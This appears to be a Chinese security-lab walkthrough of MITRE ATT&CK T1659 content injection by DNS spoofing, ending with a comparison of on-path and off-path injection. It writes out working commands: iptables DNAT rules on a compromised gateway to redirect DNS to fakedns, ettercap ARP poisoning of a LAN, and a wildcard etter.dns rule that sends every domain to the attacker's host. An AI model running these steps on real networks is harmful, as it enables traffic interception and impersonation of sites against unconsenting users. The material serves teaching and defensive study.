1、流量转发给fakedns
攻击者攻陷数据传输通道,例如攻入了处于网关位置的Linux主机,IP地址为192.168.242.1。之后使用该主机上的iptables,将dns查询请求的流量转发到本地5533端口。
(1)开启IP转发
//临时开启
sudo sysctl -w net.ipv4.ip_forward=1
//永久开启
echo "net.ipv4.ip_forward = 1" | sudo tee -a /etc/sysctl.conf
(2)添加iptables规则
//使用PREROUTING链处理来自外部的dns请求
sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 192.168.242.1:5533
//使用OUTPUT链处理本机发出的dns请求
sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT --to-destination 192.168.242.1:5533
2、编辑配置文件
fakedns运行需要python环境。攻击者将fakedns.py复制到失陷主机。
vi ./dns.conf //加入目标域名和假冒的IP地址
A .*.t1659.com 111.111.111.111
保存退出。注意,域名是以点开始的。
3、启动fakedns
//启动dns解析服务,监听5533端口
python fakedns.py -c ./dns.conf -i 192.168.242.1 -p 5533 --dns 114.114.114.114
说明:
-c //指定配置文件
-i //指定监听的本机IP地址
-p //指定监听的端口
--dns //指定上游dns服务器。fakedns解析失败后,可将dns解析请求发送给上游服务器
4、客户端解析域名
//失陷主机发送测试dns解析请求,指定dns服务器地址为8.8.8.8。该请求会被iptables转发给fakedns
dig @8.8.8.8 -p 53 A www.t1659.com +noall +answer
dns解析到的是fakedns提供的假冒IP地址,说明攻击成功。
(二)使用ettercap,以“从旁注入”的方式进行dns欺骗
1、成为中间人
攻击者将安装了ettercap的kali主机接入目标网络,配置本机的网络参数(192.168.242.167/24)后,通过ARP欺骗攻击让自己成为中间人。
//针对网关192.168.242.2和局域网全部主机执行ARP欺骗
ettercap -Tq -i eth0 -M arp:remote /192.168.242.2// >> b.txt
//windows主机查看arp缓存
arp -a
网关192.168.242.2和主机192.168.242.167的mac地址相同,说明ARP欺骗已成功,攻击者处于中间人的位置。该windows主机原本要发给网关的数据包,现在都会发给攻击者,不再直接发给网关。
2、ettercap配置DNS重定向规则
sudo vi /etc/ettercap/etter.dns //加入下面的行
* A 192.168.242.167
* PTR 192.168.242.167
保存退出。配置中的指令将全部dns请求都解析为攻击者的IP地址。
3、加载DNS欺骗插件
点击ettercap Menu,点击 Plugins — Manage plugins。
找到dns_spoof插件,双击启用。
这样,在被攻击者访问任意域名时,ettercap都会将其解析为192.168.242.167,这是kali的IP地址。
4、kali开启web服务
//kali开启http服务
sudo python2 -m SimpleHTTPServer 80
5、命令行执行DNS欺骗
ettercap -Tq -i eth0 -M arp:remote /192.168.242.2// -P dns_spoof -L ettercap.txt
6、查看DNS欺骗效果
windows主机访问谷歌网站,域名是谷歌,打开的却是kali上python搭建的网站页面。
三、总结
通过实验可以看到“中间注入”和“从旁注入”这两种攻击方式的区别。fakedns以“中间注入”方式工作,需要接收客户端的dns解析请求,在实验中是通过iptables转发实现的,并且dns请求只会被发往fakedns,不会被发往客户端指定的dns服务器。而ettercap是通过自己的dns欺骗插件监听客户端的dns请求,利用自己位置上的优势,在公网DNS服务器返回dns响应之前,抢先将假冒IP地址返回给客户端。由于TCP/IP协议栈的特性,客户端通常会接受第一个到达的有效响应,因此 ettercap 的伪造响应会被客户端优先处理。
原文始发于微信公众号(新蜂网络安全实验室):Mitre Att&ck框架T1659技术(内容注入)的简单实现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论